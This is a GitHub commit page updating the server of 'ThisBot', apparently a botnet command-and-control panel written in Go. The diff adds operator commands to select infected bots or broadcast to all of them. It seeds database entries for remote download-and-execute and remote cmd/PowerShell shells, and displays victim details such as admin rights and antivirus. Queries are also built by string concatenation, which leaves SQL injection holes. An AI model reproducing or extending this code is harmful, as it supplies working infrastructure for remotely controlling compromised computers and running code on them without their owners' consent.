Skip to content

Commit 9148381

Browse files
unknownunknown
authored andcommitted
⚡ Update v1.1.0
1. Add select command 2. Add mode command 3. Optimize database design 4. Update exec command 5. Add initialize commands option 6. Other fixes
1 parent b7a2650 commit 9148381

File tree

7 files changed

+241
-54
lines changed

7 files changed

+241
-54
lines changed

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,4 +5,5 @@
55
/client/.vscode/
66
/server/.vscode/
77
/test/
8-
/pic/
8+
/pic/
9+
/server/*.exe

server/common/global.go

Lines changed: 6 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,12 @@ import (
77
)
88

99
var (
10-
Seed = rand.New(rand.NewSource(time.Now().UnixNano()))
11-
Cfg = Config{}
12-
Db *sql.DB = nil
13-
Version = "v1.0.0"
10+
Seed = rand.New(rand.NewSource(time.Now().UnixNano()))
11+
Cfg = Config{}
12+
Db *sql.DB = nil
13+
Version = "v1.1.0"
14+
Account = ""
15+
CurrentBot int64 = 5
1416
)
1517

1618
const ConfigDefaultFileName = "config.yaml"
@@ -38,12 +40,6 @@ type Config struct {
3840
} `yaml:"auth"`
3941
}
4042

41-
// type Account struct {
42-
// Id int
43-
// Username string
44-
// Password string
45-
// }
46-
4743
type Client struct {
4844
Id int `json:"id"`
4945
Guid string `json:"guid"`
@@ -61,25 +57,6 @@ type Client struct {
6157
Lastcommand string `json:"lastcommand"`
6258
}
6359

64-
// type Command struct {
65-
// Id int
66-
// Command string
67-
// Timeanddate string
68-
// }
69-
70-
// type Lastlogin struct {
71-
// Id int
72-
// Timeanddate string
73-
// }
74-
75-
// type Tasks struct {
76-
// Id int
77-
// Name string
78-
// Guid string
79-
// Command string
80-
// Method string
81-
// }
82-
8360
type ServerReply struct {
8461
Status int `json:"status"`
8562
Cmd string `json:"cmd"`

server/db1/mysql.go

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package db1
22

33
import (
44
"database/sql"
5+
"encoding/json"
56
"fmt"
67
"log"
78
"time"
@@ -54,3 +55,23 @@ func Exec(db *sql.DB, query string, args ...any) (int64, error) {
5455
}
5556
return res.RowsAffected()
5657
}
58+
59+
func InitCommands(db *sql.DB) {
60+
args := map[string]interface{}{
61+
"hidden": "string",
62+
"args": "string",
63+
}
64+
byt, _ := json.Marshal(args)
65+
// Remote execute
66+
sqlStr := "insert into commands(name, description, arg_schema, needs_admin) values (?,?,?,?)"
67+
Insert(db, sqlStr, "execute", "Remote download executing, it could run local files or "+
68+
"download from remote host and execute", byt, 0)
69+
// Remote shell
70+
args1 := map[string]interface{}{
71+
"type": "string",
72+
}
73+
byt, _ = json.Marshal(args1)
74+
Insert(db, sqlStr, "shell", "Remote commandline shell, cmd or powershell", byt, 0)
75+
// List bot latest information
76+
Insert(db, sqlStr, "info", "Request bot latest information", nil, 0)
77+
}

server/main.go

Lines changed: 152 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,18 @@ import (
55
"ThisBot/config"
66
"ThisBot/db1"
77
"ThisBot/utils"
8+
"bufio"
9+
"database/sql"
10+
"encoding/json"
811
"fmt"
912
"log"
1013
"os"
1114
"os/exec"
1215
"path"
1316
"runtime"
17+
"strconv"
1418
"strings"
19+
"sync"
1520
"time"
1621

1722
_ "github.com/go-sql-driver/mysql"
@@ -30,14 +35,143 @@ func show_banner() {
3035

3136
func help_handler() {
3237
fmt.Println("1. help/h: Show help menu")
33-
fmt.Println("2. exec [option] path/url: Execute executable file or download from host and execute, option could be -h means hide file")
38+
fmt.Println("2. exec path/url [args]: Execute executable file or download from host and execute")
3439
fmt.Println("3. cmd/pws: Remote cmd or powershell")
3540
fmt.Println("4. list: Show all bots")
3641
fmt.Println("5. info id: Show bot info which ID is id")
42+
fmt.Println("6. select botid: Select a connected bot to operate")
43+
fmt.Println("7. clear: Clean the screen")
44+
fmt.Println("8. mode [broadcast]: Show current mode or switch to broadcast")
45+
}
46+
47+
func select_handler(ary []string) {
48+
if len(ary) < 2 {
49+
fmt.Println("Usage: select botid, please enter help command")
50+
return
51+
}
52+
// Check it's a number
53+
botid, err := strconv.ParseInt(ary[1], 10, 64)
54+
if err != nil || botid == 0 {
55+
fmt.Println("You need to enter a bot id which is number")
56+
return
57+
}
58+
// Check if bot in database record
59+
var bot common.Client
60+
if get_bot_info(botid, &bot) == false {
61+
fmt.Println("[-] Bot doesn't exist, please enter right bot id")
62+
return
63+
}
64+
// Switch mode
65+
common.CurrentBot = botid
66+
var mu sync.Mutex
67+
68+
mu.Lock()
69+
fmt.Println("🐾 --------------------------------------------------- 🐾")
70+
fmt.Println("⚔️⚔️⚔️ Currrent bot: ")
71+
fmt.Println("🐾 --------------------------------------------------- 🐾")
72+
fmt.Printf("👣 ID: %d\n", botid)
73+
fmt.Println("🏴 Guid: " + bot.Guid)
74+
fmt.Println("🌍 IP: " + bot.Ip)
75+
fmt.Println("👽 Who: " + bot.Whoami)
76+
fmt.Println("💻 OS: " + bot.Os)
77+
install, _ := strconv.ParseInt(bot.Installdate, 10, 64)
78+
t := time.UnixMilli(install)
79+
fmt.Println("📅 InstallDate: " + t.Format("2006-01-02 15:04:05"))
80+
admin := "yes"
81+
if bot.Isadmin != admin {
82+
admin = "no"
83+
}
84+
fmt.Println("👽 Admin: " + admin)
85+
fmt.Println("😈 Anti-Virus: " + bot.Antivirus)
86+
fmt.Println("🤖 CPU: " + bot.Cpuinfo)
87+
fmt.Println("🎭 GPU: " + strings.TrimSpace(bot.Gpuinfo))
88+
lastseen, _ := strconv.ParseInt(bot.Lastseen, 10, 64)
89+
t = time.UnixMilli(lastseen)
90+
fmt.Println("🔬 Lastseen: " + t.Format("2006-01-02 15:04:05"))
91+
fmt.Println("👾 Version: v" + bot.Version)
92+
fmt.Println("🐾 --------------------------------------------------- 🐾")
93+
mu.Unlock()
3794
}
3895

3996
func exec_handler(ary []string) {
40-
// if len(ary)
97+
if len(ary) < 2 {
98+
fmt.Println("Usage: exec path/url [args], please enter help command")
99+
return
100+
}
101+
var options string = ""
102+
for i := 1; i < len(ary); i++ {
103+
options += " " + ary[i]
104+
}
105+
options = strings.TrimSpace(options)
106+
// Complete the command
107+
if strings.ToLower(ary[0]) == "exec" {
108+
ary[0] = "execute"
109+
}
110+
// Query if there's command in database
111+
sqlStr := "select id from commands where name='" + ary[0] + "'"
112+
113+
command_id := 0
114+
err := db1.QueryRow(common.Db, sqlStr).Scan(&command_id)
115+
if err != nil {
116+
if err == sql.ErrNoRows {
117+
fmt.Println("No such command")
118+
119+
} else {
120+
fmt.Println("Command error")
121+
}
122+
return
123+
}
124+
125+
sqlStr = "insert into tasks (bot_id, command_id, args, status) values (?,?,?,?)"
126+
map_args := map[string]interface{}{
127+
"args": options,
128+
"hidden": "false",
129+
}
130+
byt, _ := json.Marshal(map_args)
131+
_, err = db1.Insert(common.Db, sqlStr, common.CurrentBot, command_id, byt, "queued")
132+
if err != nil {
133+
fmt.Println("[-] Failed to generate command")
134+
return
135+
} else {
136+
fmt.Println("[+] Generate command okay")
137+
}
138+
}
139+
140+
func info_handler(ary []string) {
141+
if len(ary) < 2 {
142+
fmt.Println("[-] Usage: info id, request latest bot information")
143+
return
144+
}
145+
// TODO
146+
}
147+
148+
func get_bot_info(botid int64, bot *common.Client) bool {
149+
// Check if bot in database record
150+
sqlStr := "select guid, ip, whoami, os, installdate, isadmin, antivirus, cpuinfo, gpuinfo, clientversion, lastseen from clients where id='" + strconv.FormatInt(botid, 10) + "'"
151+
err := db1.QueryRow(common.Db, sqlStr).Scan(&bot.Guid, &bot.Ip, &bot.Whoami, &bot.Os, &bot.Installdate, &bot.Isadmin, &bot.Antivirus, &bot.Cpuinfo, &bot.Gpuinfo, &bot.Version, &bot.Lastseen)
152+
if err != nil {
153+
return false
154+
}
155+
156+
bot.Id = int(botid)
157+
return true
158+
}
159+
160+
func mode_handler(ary []string) {
161+
if len(ary) == 1 {
162+
if common.CurrentBot == 0 {
163+
fmt.Println("[+] Broadcast mode")
164+
} else {
165+
fmt.Println("[+] Current bot ID: " + strconv.FormatInt(common.CurrentBot, 10))
166+
}
167+
} else {
168+
if ary[1] == "broadcast" {
169+
common.CurrentBot = 0
170+
fmt.Println("[+] Switch to broadmode")
171+
} else {
172+
fmt.Println("[-] Failed to switch to broadcast mode")
173+
}
174+
}
41175
}
42176

43177
func list_handler() {
@@ -98,6 +232,10 @@ func main() {
98232
// Initialize all
99233
config.Init(&common.Cfg)
100234

235+
if len(os.Args) > 1 && os.Args[1] == "--init-commands" {
236+
db1.InitCommands(common.Db)
237+
}
238+
101239
// Running the task cleaner
102240
task_cleaner(common.Db, 5*60)
103241
// Running the server
@@ -110,12 +248,17 @@ func main() {
110248
show_banner()
111249
for {
112250
fmt.Print("$ ")
113-
fmt.Scanln(&command)
251+
command, _ = bufio.NewReader(os.Stdin).ReadString('\n')
114252
command = strings.TrimSpace(command)
253+
if command == "" {
254+
continue
255+
}
115256
cmdAry := strings.Fields(command)
116257

117258
switch cmdAry[0] {
118-
case "list":
259+
case "select", "s":
260+
select_handler(cmdAry)
261+
case "list", "l":
119262
list_handler()
120263
case "help", "h":
121264
help_handler()
@@ -124,7 +267,12 @@ func main() {
124267
case "clear":
125268
clear_handler()
126269
show_banner()
270+
case "info":
271+
info_handler(cmdAry)
272+
case "mode":
273+
mode_handler(cmdAry)
127274
}
275+
128276
}
129277

130278
}

server/server.go

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@ import (
77
"crypto/hmac"
88
"database/sql"
99
"encoding/json"
10-
"io"
1110
"log"
1211
"net/http"
1312
"strconv"
@@ -51,9 +50,8 @@ func recovery_handler(w http.ResponseWriter, r *http.Request) {
5150
guid := r.Header.Get("X-Guid")
5251
time1 := r.Header.Get("X-Time")
5352
// Read bot info
54-
botinfo, _ := io.ReadAll(r.Body)
5553
var bot common.Client
56-
json.Unmarshal(botinfo, &bot)
54+
utils.ReadJson(r, &bot)
5755

5856
reply := common.ServerReply{
5957
Args: make(map[string]any),
@@ -160,6 +158,7 @@ func poll_handler(w http.ResponseWriter, r *http.Request) {
160158
reply.Error = "Illegal package"
161159
reply.Cmd = "poll"
162160
} else {
161+
// TODO FIX BUG
163162
sqlStr = "select t.id as task_id, c.command, c.args" +
164163
" from tasks t join commands c on t.command_id = c.id" +
165164
" where t.guid = ? and t.status = 'queued' order by t.created_at asc limit 1"

0 commit comments

Comments
 (0)